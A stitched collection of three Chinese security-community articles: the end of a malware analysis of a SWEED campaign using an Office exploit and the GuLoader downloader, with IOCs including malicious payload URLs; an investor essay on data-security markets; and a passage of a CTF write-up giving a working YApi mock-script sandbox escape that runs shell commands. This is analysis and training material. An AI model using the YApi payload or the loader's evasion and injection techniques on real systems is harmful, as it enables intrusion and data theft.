CVE-2014-4114漏洞的成因是packager.dll中CPackage::Load方法加载对应的OLE复合文档对象时，针对不同类型的复合文档进行不同的处理流程，但其中对某些复合文档中嵌入的不可信来源文件没有做处理。由此攻击者可使用伪造OLE复合文档的CLSID来达到执行特定文件的目的。微软在MS14-060补丁中，通过添加MarkFileUnsafe函数对文件进行MOTW处理，将其Security
Zone标记为“此文件来自其他计算机”，运行时会弹出安全警告窗口。
图4-6 “%TEMP%\NEW ORDER.exe”标记为不可信文件
但就算受害者已安装MS14-060的补丁，攻击者还是可以通过构造特定的CLSID和OLE
Verb来改变执行流程，从而绕过该补丁（CVE-2014-6352漏洞）。对于一个exe文件，即使被标记为URLZONE_INTERNET，右键点击以管理员权限执行该exe文件，那当程序运行时便不会再弹出“安全警告”（如图4-6）的提示，而是以（如图4-7）UAC
提示窗弹出。
图4-7 弹出的UAC提示窗
由此可知，当受害者打开此PPSX恶意文档时，自动播放模式便会开启，同时“%TEMP%\NEW
ORDER.exe”将被释放在临时目录中。如果受害者选择“是”，恶意代码将会被执行。而如果受害者的系统处于UAC关闭状态或在获取了管理员权限的情况下，该UAC安全警告窗口则不会弹出，“NEW
ORDER.exe”会被静默地执行。
#### 4.3 GuLoader
如上文所述，最后被执行的“NEW ORDER.exe”可执行文件实际上便是文章开头提到的Guloader恶意软件（在后续对“NEW
ORDER.exe”的详细分析中，我们均使用“Guloader”来替代该文件名）。Guloader是一款新型的恶意软件下载器，其本身具有复杂的执行流程，通过采用各种代码混淆和随机化、反沙箱、反调试和数据加密等机制来对抗安全产品的检测。下面我们将对该GuLoader进行深入的挖掘分析。
##### 4.3.1 执行流程
如图4-8所示，
GuLoader首先将储存在代码部分的加密Shellcode解密并执行。这段Shellcode的主要功能为：以挂起方式创建一个系统子进程，之后将本段Shellcode自身注入到子进程并修改程序入口点为Shellcode处执行。最后从托管服务器上下载加密的BIN文件，成功下载后将其解密和运行。
图4-8 Guloader执行流程图
##### 4.3.2 EXE可执行文件
（1）代码混淆
Guloader可执行文件是由Visual Basic
6语言编写的。使用工具查看后发现，其并未使用商业壳进行自身保护，而是使用混淆壳尝试对抗安全产品的查杀。由于杀软对商业壳比较敏感，并且商业壳检测和脱壳技术也比较成熟，所以混淆壳不失为一个不错的选择。混淆壳一般不存在通用的检测方法，并且静态脱壳相对较难，所以其恶意行为不易被发现，从而可长时间的存活在目标机器上。对于逆向分析人员来讲，分析这种带混淆壳的样本往往会花费大量的精力，无形的增加了人力和时间成本。
图4-9是一段混淆代码的截取，这部分代码使用了数据混淆中的常量拆分，主要目的是隐藏真实的代码逻辑，让分析者内心奔溃。
图4-9 部分混淆代码
（2）代码解密
恶意软件首先计算出用于解密shellcode的密钥，其值为：0x24EBE470。
图4-10 获取密钥的恶意代码
接着，为shellcode申请内存空间，再使用密钥进行XOR运算解密Shellcode并执行。
图4-11 解密和执行shellcode
4.3.3 ShellCode
解密后的shellcode前期也采取了大量的对抗手段，使用各种代码混淆、沙箱检测、反调试等技术手段来规避安全产品的行为监测和查杀。仅当通过各种检查判断条件后，恶意代码才开始执行主功能行为。下面我们将对恶意代码做详细的分析。
（1）检测功能
* 代码混淆
将解密后的shellcode从内存中dump出来并使用IDA反编译，可以看到shellcode中使用的混淆技术。恶意代码在执行过程中插入混淆函数，该函数的过程被分割成多个跳转流程，一直到最后再
jmp到原来的正常代码中继续执行下面的流程。图4-12是shellcode在入口处调用的此类混淆函数的代码片段，很显然通过该方法，能够有效的扰乱分析者对样本进行分析，严重降低了分析效率。
图4-12 混淆后的代码片段
* 动态获取API函数
接着，恶意代码通过访问PEB->LDR中的InMemoryOrderModuleList获取kernel32.dll的基址。遍历提取该模块导出表结构中存放函数名的数组，并依次将名称字符串作为参数传入到哈希算法函数中做运算，再将结果与硬编码数据做比较，以此方法来查找GetProcAddress函数。
图4-13 查找GetProcAddress函数
此处使用的是djb2的算法，
djb2是一个产生随机分布的哈希函数，与LCG的算法相似。由于该函数构造简单，使用移位和相加的操作，所以常被用来处理字符串。具体算法见图4-14。
图4-14 djb2算法代码截图
由此我们可以看到，恶意代码在函数的获取方面是利用LoadLibrary和GetProcAddress这两个函数进行动态的获取。具体如图4-15所示。
图4-15 动态获取API函数
* 沙箱检测
恶意代码枚举窗口数量，如果值小于12则退出进程，以此来检测自身是否运行在沙箱环境中。
图4-16 沙箱检测代码
* 反调试技术
方法1： 调用ZwProtectVirtualMemory函数修改ntdll.dll的“.text”节属性为可读可写可执行。
图4-17 修改ntdll.dll节属性
恶意代码通过修改DbgBreakPoint和
DbgUiRemoteBreakin函数代码，让调试器无法附加调试程序（如图4-18和图4-19）。给call调用后面指定一个未知地址，以此引发调试器崩溃退出。
图4-18 DbgBreakPoint函数代码修改前后对比
图4-19 DbgUiRemoteBreakin函数代码修改前后对比
方法2：
将ZwSetInformationThread函数的第二个参数设置为ThreadHideFromDebugger
（值为17），作用是在调试工具中隐藏线程。如果恶意软件处于被调试状态，那么该函数就会使当前线程（一般是主线程）脱离调试器，使调试器无法继续接收该线程的调试事件。效果就像是调试器崩溃了一样。
图4-20 隐藏线程达到反调试目的
方法3：
在使用ZwAllocateVirtualMemory函数申请内存空间时，为防止分析人员在调试时对关键函数下断点，恶意代码会提前将该函数的功能实现代码复制到本进程空闲空间中，使得后续在使用此函数时直接跳转到自身代码中执行。
图4-21 复制函数功能实现代码
方法4：
在调用部分敏感API函数时，会先调用自定义的检查函数做判断，以减少被安全产品检测的几率。
图4-22 检查函数是否被下断点或挂钩
该自定义的检查函数的主要功能：
① 将调用该函数前的shellcode代码（正序）按字节与0x4字节的返回地址做异或运算 进行加密处理；
② 调用ZwGetContectThread函数，通过检查_CONTEX结构中的Dr寄存器来判断是否 在调试环境中；
③ 判断此次要检查的关键API函数是否被下断点或挂钩。如果结果为否，则调用该API函数，否则程序直接崩溃退出；
④ 同“方法①”对shellcode代码（倒序）进行解密并跳转到返回地址处执行后续流程。
图4-23 自定义检查函数代码
（2）恶意行为执行功能
如果以上一系列的沙箱以及反调试检测都通过，恶意代码则开始执行以下流程：
① 动态获取图4-24中的API函数，并将函数调用地址保存在堆栈中。
图4-24 动态获取的API函数名称
② 根据指定地址处保存的数据内容特征（如果恶意代码未执行过创建子进程流程，那 么该地址处原数据为无效内容；否则，此处保存的是当前进程的全路径。）来判定是
否需要创建子进程。
图4-25 判断是否需要创建子进程
图4-26 对指定地址处保存的数据内容做判断
③ 调用CreateProcessInternal函数以挂起模式创建RegAsm.exe进程。
图4-27 创建系统子进程
④ 调用ZwOpenFile函数，获得映射文件mstsc.exe的句柄。
图4-28 获取mstsc.exe的句柄
⑤
使用ZwCreateSection和NtMapViewOfSection函数将“mstsc.exe”文件映射到RegAsm.exe内存中的0x00400000位置上。
图4-29 映射文件
⑥ 在傀儡进程中申请内存空间，并将我们正在调试的整个shellcode写入到目标内存中。
图4-30 写入shellcode到系统子进程中
⑦ 使用ZwGetContextThread和ZwSetContextThread函数，获取和修改挂起的子
线程上下文中寄存器值，以实现重定向到shellcode入口处执行的目的。
图4-31 修改系统子进程的执行入口点
⑧ 若“步骤⑤”操作成功，则恢复执行子进程；否则结束当前程序。
图4-32 判断步骤⑤是否操作成功
（3）成功注入后恶意行为功能
我们在恶意代码调用NtResumeThread函数前，附加RegAsm.exe进程并在注入的shellcode执行处设置断点（如图4-33），然后再继续执行该函数来恢复线程运行。该shellcode前部分与之前的操作流程相同，将前文描述的各种检测重新执行一遍，直到在“判断是否创建子进程”处跳转到另外的分支流程。下面我们继续对后续功能进行详细地分析。
图4-33 Shellcode执行处代码
判断开启RegAsm.exe程序的父进程是否为“C:\Users***\directory\filename.exe”。
如果不是，则将当前父进程文件复制到该目录中，将其命名为filename.exe并重新执行；
如果是，则在注册表HLM\Software\Microsoft\Windows\CurrentVersion\RunOnce目录里将该路径添加在“Startup
key”中，以实现长期驻留的目的。
图4-34 添加注册表信息代码
图4-35 添加注册表开机启动项
成功添加注册表项后，恶意代码则开始使用winnet.dll库中的Internet API函数从云托管服务器下载加密的payload。
图4-36 从云托管服务下载payload
下载完成后，恶意代码再将硬编码的值与将payload的大小做比较，以此来检查文件的完整性。如果大小不匹配，恶意代码则会重新下载文件，直到完全匹配为止。
图4-37 检测payload大小
下载到的payload文件是由0x40个字节的HEX小写数字和加密的PE文件组成，具体如图4-38所示。
图4-38 payload内容
接着，恶意代码再使用自定义解密函数对下载的payload进行异或解密。其密钥储存在shellcode代码0x2032偏移处，密钥长度为0x214。解密函数内容如图4-39所示。
图4-39 payload解密函数
解密后的PE文件如图4-40所示。
图4-40 解密后的文件内容
最后，恶意代码将解密后的PE文件覆盖0x00400000基址的内容，并跳转到入口点执行payload恶意程序。
图4-41 执行payload
在此次分析的案例中，解密出的payload是Agent
Tesla。对于该恶意软件，在此我们就不再做过多的介绍和分析了。下面我们会对黑客组织的C&C服务器基础设施展开追踪溯源。
### 五 溯源追踪
#### 5.1 C&C基础设施
截止到目前为止，我们通过提取和整理所有关联样本中的IP地址和域名信息，可以看到此次攻击行动主要以动态域名为主，大部分域名都是通过境外的Duck
DNS注册。图5-1为SWEED黑客组织使用的部分域名、IP、样本的对应关系。
图5-1 部分域名、IP、样本的对应关系图
根据样本同源性分析的结果，我们发现大量的有效载荷被分别挂载在不同的动态域名中，以备包含漏洞的Office文档或恶意软件Guloader访问和下载。通过域名的查询记录所得，此次攻击活动最早可追溯到1月中下旬，同时也可以看到，它们最初均使用指向尼日利亚的基础设施。值得注意的是，这些域名解析使用的IP总不定期在常用的IP地址段来回切换。具体如图5-2所示。
图5-2 动态域名解析的IP地址
我们将C&C对应的IP地址所属国家和地区进行统计，并绘制其地理位置分布图（如图5-3所示）。整体来看，美国和法国占比率最高，其次为荷兰。
图5-3 C&C对应的IP地理位置分布图
#### 5.2 关联性分析
启明星辰ADLab将本次捕获到的样本同以往SWEED活动做了全面的关联分析，得出以下几处重要的关联点：
（1）漏洞文档
在此次行动中攻击组织使用的漏洞文档有两类（CVE-2017-11882和CVE-2014-6357），其中以CVE-2017-11882漏洞利用文档为主要攻击载荷。而SWEED组织也曾在以往的攻击行动中频繁的使用过该漏洞文档。具体如图5-4所示。
图5-4 漏洞文档案例
（2）攻击目标
根据公开报告可以得知，SWEED黑客组织的攻击目标主要针对全球从事对外贸易的中小型企业，并且所涉及的行业主要以制造业、航运、物流和运输为主。这与我们此次监测到的攻击行动中受害者的地理位置和行业分布具有较高的相似性。图5-5列举了几例在本次攻击活动中攻击者发送给目标用户的钓鱼邮件。
图5-5 钓鱼邮件案例
（3）攻击武器
在目前观测到的行动中，攻击者最终投放的恶意软件包括Agent
Tesla、Remcos、NanoCore、Formbook和Lokibot。我们将捕获的所有恶意软件按家族分类和统计，根据结果显示，Agent
Tesla的占比率处于最高，是攻击者重点使用的攻击武器。而这种使用特征也曾反复出现在SWEED组织以前的攻击活动中。
图5-6 恶意软件家族占比率
（4）IP地址位置
我们通过Whois信息查询，发现在此次行动中的域名“mogs20.xxx.org”早期解析的IP（105.112.XXX.XXX）地理位置指向尼日利亚，该网段归属尼日利亚地区电信的105.112段。这与SWEED组织所属国家具有高度的一致性。
图5-7 Whois查询信息内容
结合SWEED组织一系列的攻击活动特点以及上面总结的四点可以看出，攻击者在攻击动机（窃取用户信息以牟利）、攻击目标（针对全球对外贸易的中小企业）、作业风格（投递定制型钓鱼邮件分发木马）、战术（规避检测、常驻、命令与控制）、技术（漏洞利用）、过程（发送携带恶意附件的邮件->漏洞文档->解密运行Agent
Tesla远控木马）以及其使用的网络基础设施等方面都十分符合SWEED组织的特征。由此我们推断，此次攻击活动幕后者很可能是来自尼日利亚的SWEED黑客组织。
### 六 总结
迄今为止SWEED黑客组织至少已活跃了4年的时间，从该组织近期的攻击可以发现，SWEED开始使用更具有针对性的邮件内容和更具迷惑性的文档标题，从而提高受害者中招的概率。启明星辰ADLab将该组织此次行动TTP的研究分析结果与以往跟进或披露的相关攻击行动特性做比对后，得到的相关证据都可表明这些样本来自SWEED黑客组织。
SWEED组织使用Guloader下载器传播的远程木马种类虽然多样化，但主要还是以其偏好的Agent
Tesla为主。从其所使用的TTP来看，该黑客组织目前并未具备很好的自研开发能力。在多数情况下，仅会从国外一些主流黑客网站上购买木马生成器和加密工具来作为攻击武器，例如曾使用的KazyCypter和此次使用的Guloader。不过，即便攻击者在技术能力上相对较弱，但其在社工技巧和多样化攻击方式的应用面上还是较为熟练的。在此，建议用户尽量避免打开不明来历的邮件以及附件文件（来自未知发送者的），及时安装系统补丁，提高风险意识，防范此类恶意软件攻击。
### 七 IOC
MD5
F97CFA6C3F1338B597768808FC1B2F00
B1941921571C2B6ED0C3BDA77E402001
DD82B2E488811E64BB9C039C441DB19C
EC4CF91427DAC3AD29CD2A52B0789DC6
166FD7B0C74C60DCBC80BF335D712EA2
BCBCC89F237B22F21BDAE9E6555404A
60147B91AB7B64B9BE27BD3422147E60
48408BBE8D9EE22D6BBB6820FCCC305F
7DDA46F2D9008FAE016AFFF39E9C5801
A22A37E699C20D42753D35A94A75B365
C36C41EB6A34880459154334681C203A
6BC92ACB050A2068EFF4842A1D360938
FB7ED44C2BAAA6F011F7BF51DE721BC4
58604AE63AEA84483C67980369958ACB
312BFAFE6746645E72FCB84ECBFB023C
779EB99965F1AAC12363632468DF7DCE
DD49030C00EF3C2341BCBE4489DCEF63
IP
167.114.85.125
URL
https://drive.google.com:80/uc?export=download&id=1lmmu6kv5ep_wkm7hfyhdshru-y1n2pqv
https://onedrive.live.com/download?cid=554BBD19BDD72613&resid=554BBD19BDD72613!156&authkey=AGIuaWEkkBxB_4o
https://drive.google.com/uc?export=download&id=1W3ddZnmArVGhsecoWW5KcQAKPZ9OacLU
https://share.dmca.gripe/iQakn267f3ZvpDN.bin
http://167.114.85.125/go/Origin%20server%20ilyas_tTzYDNEGay108.bin
### 八 参考链接：
[1] <https://www.fortinet.com/blog/threat-research/new-agent-tesla-variant-spreading-by-phishing>
[2] <https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html>
[3] <https://www.fortinet.com/blog/threat-research/new-infostealer-attack-uses-lokibot>
[4] <https://success.trendmicro.com/solution/1122912-nanocore-malware-information>
[5] <https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2>
* * * | 社区文章 |
# 数据泄露事件频发 “数据安全”创业机会何在
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者 | 吴文超 晨山资本副总裁
邮箱 | wenchao#chenshancapital.com
编者按：本文来自微信公众号“晨山资本”（ID:chenshancapital）。
随着线上化、数字化、智能化的发展，万物互联时代的逐步到来，数据体量正在快速增长。而无论是个人隐私数据，还是企业数据，都承载着巨大的价值，数据泄露事件已成为安全领域最大的威胁之一。安全产品的价值和其保护资产的价值永远成正比关系。面对数据安全这一蓝海市场，未来伴随着法律法规的健全，我们相信一定会诞生巨大的创新和创业机会。
## 数据泄露的源头
近年来，移动互联网和万物互联的兴起，带来了数据的爆炸式增长。据IDC介绍，全球数据容量从2018年的33ZB到2025年将超过175ZB（相当于若以25Mb/s的速度下载这些数据，你需要下载18亿年）。这其中既包含用户个人隐私数据，也包含具有重大商业价值的企业数据和涉及到国家政府安全的机密数据。
数据作为新时代的重要生产资料，在带来围绕数据处理、加工、分析等整个生产工具上的大变革的同时，其背后蕴藏着的巨大经济价值也引起了大量不法分子的觊觎。
通过梳理近年来发生的造成实质性安全损失的重大安全事件可以看出，越来越多的攻击者或内部员工已经看到数据变现的直接与间接价值，这使得数据泄露成为所有安全事件中最常见的安全威胁。
▲ 数据来源：安全牛、安全客、FreeBuf，晨山资本整理
而2020年疫情带来线上化办公和娱乐的加速，也使得个人隐私保护问题变得越来越严峻。开年以来，数据安全和隐私泄露事件也层出不穷：
案例1：微盟“删库事件”
2月23日，微盟公司被一名员工恶意删库，在线服务出现故障，主营业务商家小程序全线崩溃，受此牵连300万家商户生意基本停摆。之后微盟联合服务商恢复数据，历经七天七夜才找回删库数据。不过由于负面影响太大，受此牵连微盟累计市值蒸发超30亿港元。而对于给众多商家造成的影响，微盟表示准备了1.5亿元人民币赔付金对用户进行赔偿。
案例2：银行数据泄露事件
4月，原建设银行余姚城建支行行长沈某某因犯侵犯公民个人信息罪，被判处有期徒刑3年，缓刑3年，并处罚金人民币6000元。法院认定，2017年3月至4月，沈某某曾将非法获取的余姚市东城名苑业主财产信息1111条和其所在行贷款客户财产信息127条非法提供给他人用于招揽业务。
案例3：Zoom视频泄露事件
4月，据《华盛顿邮报》报道，Jackson通过“一个简单的在线搜索”，就找到了15000个完全公开的Zoom会议视频。“很多视频都被保存在单独的、没有密码的线上存储空间里”，他说，因为Zoom对视频的命名非常单一，所以他很容易地找到了大量视频，而且任何人都能下载观看。
案例4：池子银行账户信息泄露
5月6日，脱口秀演员池子（本名王越池）发布微博称，在其与上海笑果文化传媒有限公司的经纪合约纠纷案中，中信银行上海虹口支行未获本人授权，将其个人账户流水提供给笑果文化，属于侵犯公民个人信息的违法行为。
依据数据的所有人，数据大致可分为个人隐私和企业/组织的数据。随着越来越多智能化的设备与网络的连接，企业和消费者发现云服务越来越有吸引力，大家通过云可以快速、无所不在地访问他们的数据。消费者终端设备上的存储容量也逐渐减少转而借助于云端（企业端）存储。
据IDC报告称，到2020年，我们存储在企业云中的数据将逐步超过消费者设备中的数据。这也可以解释为何现在个人隐私的数据泄露事件往往都是从企业端开始。
因此未来个人隐私保护的产品也将重点面向拥有这些数据的企业，个人隐私保护的责任也将逐步转嫁到拥有这些数据的企业之上。
▲ 数据来源：IDC，数据存储位置趋势变化
## 数据处理过程的潜在风险和应对逻辑
数据是信息时代最重要的生产资料。企业针对不同类型的数据往往有多个处理和加工环节，大体分类包括：数据采集、分析加工、存储、内部消费和外部共享等五步。企业采集的隐私数据在任何一个环节都面临着合规遵循的需求，以及内外部原因带来的数据泄露的安全威胁。
例如，在数据采集过程中没有得到用户授权的非法数据采集，采集后没有按照特定的标准进行脱敏、加密的处理，没有严格按照数据的分类分级标准进行分类和存储，用户对自身数据进行请求和操作时企业无法给出相应的数据反馈。
在加工、存储和使用过程中，内部员工恶意篡改和访问数据、数据资产管理混乱导致数据被脱库或者遗失。
因为应用访问授权不当让黑客有机可乘，对合作伙伴授权不当导致核心数据被窃取，因为利益原因和第三方商业机构共享用户的个人隐私数据等等。
▲ 晨山资本整理
企业针对隐私数据处理的不同阶段面临的风险，总结下来同样可以分为几类防护手段：
在采集过程中，根据不同的法规约束，主动弹窗询问用户的使用授权，明确双方数据授权使用的协议。
在分析加工过程中，根据不同行业的数据分类分级标准，如金融行业《个人金融信息保护技术规范》，进行数据的分级分类处理，对一些敏感数据进行脱敏和加密处理。经过合理授权，防止重要核心数据被恶意操作和误操作。
在数据存储过程中，已经有一系列产品可以针对数据资产本身做不错的防护，这其中包括文件DLP（Data leakage
prevention，数据泄密防护）和数据库安全类的产品，如数据库防火墙、审计、脱敏加密、容灾备份等。由于应用的多样化和数据库本身从最早的Oracle、MySQL逐步演进到新一代的大数据平台、NoSQL（非关系型数据库）和分布式数据库所带来的新的数据存储安全问题同样值得关注。
在应用和企业内部人员访问的过程中，更需要构建一整套授权体系和管理体系，其中一些基于零信任理念的安全产品实践值得参考。在企业内部数据流转过程中，当数据本身停留在企业内部的网络安全防护体系时，本身的安全性还相对可控，一旦企业想进行用户隐私数据的外部共享，那就可能带来非常大的安全风险。
针对不同的对象，需要采取不同的保护策略。在面向商业数据分享领域，近年来比较火的技术如可信计算、多方安全计算、同态加密在一定程度上解决了如何在密文态的情况下提取数据价值的问题。面向外部的合作伙伴和API输出的数据授权，更多地是一套身份管理、脱敏、基于数据分级的授权系统。而面向具有数据所属权的用户，则需要根据合规提供一整套隐私数据增删改查的访问接口。
除了上述针对单一环节的数据检测响应和防护策略之外，还需要更多地关注数据在各个环节中流动过程的数据安全风险识别。这其中包含应用系统、数据存储单元、外部共享等多个层次的数据访问监控和审计，即保证数据监控无死角是响应决策的前提。这样一旦任何一个环节出现隐私暴露的问题，我们可以快速定位和溯源，及时解决风险，减少损失。
▲ 晨山资本整理
## 国内外企业在数据安全产品的关注焦点
针对数据处理不同阶段面临的安全问题，Gartner在几年前就提出了DCAP(Data-Centric Audit and Protection)的概念。
DCAP产品旨在构建能够跨非结构化、半结构化和结构化存储库集中管理数据安全策略。该策略将包含安全控制措施，例如对敏感数据进行分类的能力以及通过集中管理访问授权、活动监视和数据保护等。使用诸如加密、令牌化和脱敏之类的数据保护技术，来增强针对应用程序和高特权用户的职责分离。提供审计和报告的能力，以支持各种合规性要求。
但目前也没有单一产品能够满足DCAP的所有需求，而在国外往往是几类产品的组合，包括DAP（数据库审计和保护）、DAG（数据访问控制，包括分级分类、数据发现、活动监控等）、CASB（云端访问代理，针对SaaS产品的访问授权控制）和DP（数据保护，针对数据库的加密、脱敏等产品）。
▲ 数据来源：Gartner，DCAP核心能力
以Imperva（成立于2002年，历史累计融资7100万美金）为代表，国外主流的老牌数据安全供应商主要集中在不同数据库类型（包括数据库、文件、大数据平台和云数据平台）的数据发现、授权管理、审计和授权保护上，更多还是围绕资产和数据库本身，在数据流动过程的访问控制和监控做得并不多。
▲ 数据来源：Gartner，主流数据安全厂商保护的资产类别
而针对企业收集到的用户隐私数据保护，往往更需要加强对用户隐私和用户数据请求流程的合规处理功能。这其中不同的层次上，国外已诞生了一系列优秀的产品：
数据扫描和盘点
公司在保护隐私数据之前，必须首先对所有数据进行盘点，以了解其具体数据内容和存储位置。所有这些数据都必须在结构化和非结构化的企业所有的数据存储中进行查找和盘点。这其中最有代表性的企业就是BigID（2016年成立，历史累计融资1.46亿美金）。
数据分类与治理
公司识别出敏感数据后，必须了解该数据的来源以及存储在何处，控制哪些人可以访问它以及何时访问，并应用某些规则维护此顺序。像Okta（2016年成立，市值约250亿美金）构建的统一身份认证和授权管理，就在一定程度上帮助用户解决了这个痛点。
用户请求工作流程处理
公司还必须能够响应数据主体（用户）访问请求（DSAR）和其他法规查询，让数据所有者能够有权获取并且操作自身数据。随着法规的健全和用户意识的认知提升，这些请求正在急剧增加。企业将需要新的软件定义解决方案来有效地管理这些流程。诸如OneTrust（2016年成立，累计融资4.1亿美金）之类的创业公司已经在这一领域获得了很高的估值。
授权同意管理
一旦公司找到了数据，充分确定了其分类和治理策略，并处理了任何相关的法定要求，则必须确保已获得并保持足够的授权同意才能实际使用所述数据。授权同意管理可确保企业可以对消费者友好的方式使用该数据。今年的RSAC创新沙盒冠军Security.AI的核心能力就是在此。
数据脱敏化/隐藏化计算
企业盘点了数据并掌握了出处、存储、DSAR和同意后，便必须保护其最敏感的信息。我们看到像Privitar（2014年成立，累计融资1.43亿美金）这样的公司利用差异隐私、部分同态加密和其他技术来确保私有数据使用过程中的隐私，而市场上的其他公司则依靠多方计算和大量其他技术来达到相同的结果，最终保证在消费者信任的同时保留数据的价值。
▲ 数据来源：BVP
不同于国外已经逐步更加关注合规和用户对自我数据请求操作方面的诉求，国内创业公司依然更多集中在数据库、大数据平台安全和治理，也正处于“把数据作为资产来保护”到“企业数据安全的多层次管理诉求”的思路转变中。在数据共享和隐私保护领域，国内公司也逐步有基于多方安全计算和同态加密等技术的方案在市场落地，这其实和法律法规的制定进度密切相关。
## 国内数据安全相关法规需要持续完善
可以很明显地看见，国外数据安全保护的产品中，有一大类是针对用户个人隐私访问控制和合规处理的，而这类产品在国内却寥寥无几。这和国内外的立法进度差异息息相关。
2018年5月25日，欧盟的《一般数据保护条例》(GDPR)正式实施。2018年6月28日，《加利福尼亚州消费者隐私保护法案》(CCPA)经签署公布，并于2020年1月1日起正式实施。这两大法案的实施，对于相关企业，尤其是一些跨国企业产生了深远的影响，法案规定了个人隐私保护的具体适用对象、个人和企业对隐私数据的权利义务划分、违法应当受到的具体惩罚等，随之而来的一系列用户隐私保护相关的产品都围绕这两个方案来展开。
在个人隐私保护法规方面，国内的《网络安全法》在大的框架下规定网络运营者要对收集的用户信息严格保密。针对大家对隐私保护的诉求，中央网信办、工信部、公安部等部门也都出台了《APP违法违规收集使用个人信息行为认定方法》《信息安全技术个人信息安全规范》《数据安全管理办法》征求意见稿等规范来完善企业收集和使用个人信息流程上的合规性。
但在具体的隐私保护立法层面，我们没有类似GDPR和CCPA等具有强执行力的法律，未来在法制建设方向还有很多的工作要做。随着立法的完善和明确，个人隐私保护和合规方向的创业机会也将越来越多。
和大多数网络安全方向一样，数据安全同样会随着数据基础设施和数据安全法规逐步演进，其中将诞生大量的创业和创新机会。晨山资本也将持续关注企业整体数据安全防护和个人隐私保护等方向的发展和投资。
作者机构：晨山资本成立于2016年，是宽带资本生态中专注早期创新的投资平台。晨山资本重点投资于“数据驱动的产业互联网”主题的创新企业。晨山创始团队深耕TMT行业投资十余年，已经投资了包括美团点评(03690.HK)、朗新科技(300682)、分众传媒(002027)、亚信科技(01675.HK)、同盾科技、涂鸦智能、零氪科技、G7汇通天下、富数科技、达观数据、雪浪数制、韬润半导体等众多优秀创业公司。 | 社区文章 |
# 2021 DASCTF July X CBCTF 4th 部分WriteUp
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
> **2021DASCTF 实战精英夏令营预热赛暨 DASCTF July X CBCTF 4th**
>
> <https://buuoj.cn/match/matches/15/challenges>
又是摸鱼的一个周末，不过这个比赛和 巅峰极客网络安全技能挑战赛 冲突了，那个比赛写了点 wp 在下面这篇。
[CTF | 2021 巅峰极客网络安全技能挑战赛
WriteUp](https://miaotony.xyz/2021/08/07/CTF_2021dianfengjike/)
于是第一天都在打那个比赛，这边就第二天下午随便看了看。
不过看了几题 web 发现有不少是复现漏洞或者自己挖洞的题，寻思着还有点味道，赛后又来复现了一下。
主要看的是 Web 和 Misc 题目，这篇大部分是边做边写的，写得还是挺详细的吧，当然也少不了走弯路的地方。
大师傅们随便看看就好了（
## Web
### ezrce
> 你真的会 nodejs 吗？
参考 [yapi远程代码执行漏洞复现（部署+复现）](https://zhuanlan.zhihu.com/p/388742545)
先注册个账号，然后添加个 高级 Mock 脚本即可。
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const test = FunctionConstructor('return process')
const process = test()
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef && ls -al /&& cat /ffffffflllllaggggg").toString()
再点击这个预览的地址即可。
### cat flag
> 简简单单cat flag
>
> Hint: 管理员曾访问过flag
<?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match('/flag/i',$cmd))
{
$cmd = escapeshellarg($cmd);
system('cat ' . $cmd);
}
} else {
highlight_file(__FILE__);
}
?>
> **escapeshellarg** — 把字符串转码为可以在 shell 命令里使用的参数
>
> **功能** ：escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号，这样以确保能够直接将一个字符串传入
> shell 函数，shell 函数包含 exec(), system() 执行运算符(反引号)
>
> **定义** ：`string escapeshellarg ( string $arg )`
倒是这个单独用貌似不存在绕过啥的（bushi
>
> [谈谈escapeshellarg参数绕过和注入的问题](http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/)
>
>
> [浅谈escapeshellarg逃逸与参数注入](https://www.mi1k7ea.com/2019/07/04/%E6%B5%85%E8%B0%88escapeshellarg%E4%B8%8E%E5%8F%82%E6%95%B0%E6%B3%A8%E5%85%A5/)
>
> 一方面是 先 escapeshellarg 再 escapeshellcmd 处理的话存在参数注入，另一方面主要是通过调用的命令（如 tar find
> wget curl 之类）自带的参数来实现绕过或者执行其他的命令。
先读几个文件看看。
`/etc/passwd`
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www-data:x:82:82:Linux User,,,:/home/www-data:/sbin/nologin
utmp:x:100:406:utmp:/home/utmp:/bin/false
nginx:x:101:101:nginx:/var/lib/nginx:/sbin/nologin
系统是 Alpine Linux, ash
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.13.0
PRETTY_NAME="Alpine Linux v3.13"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://bugs.alpinelinux.org/"
环境变量
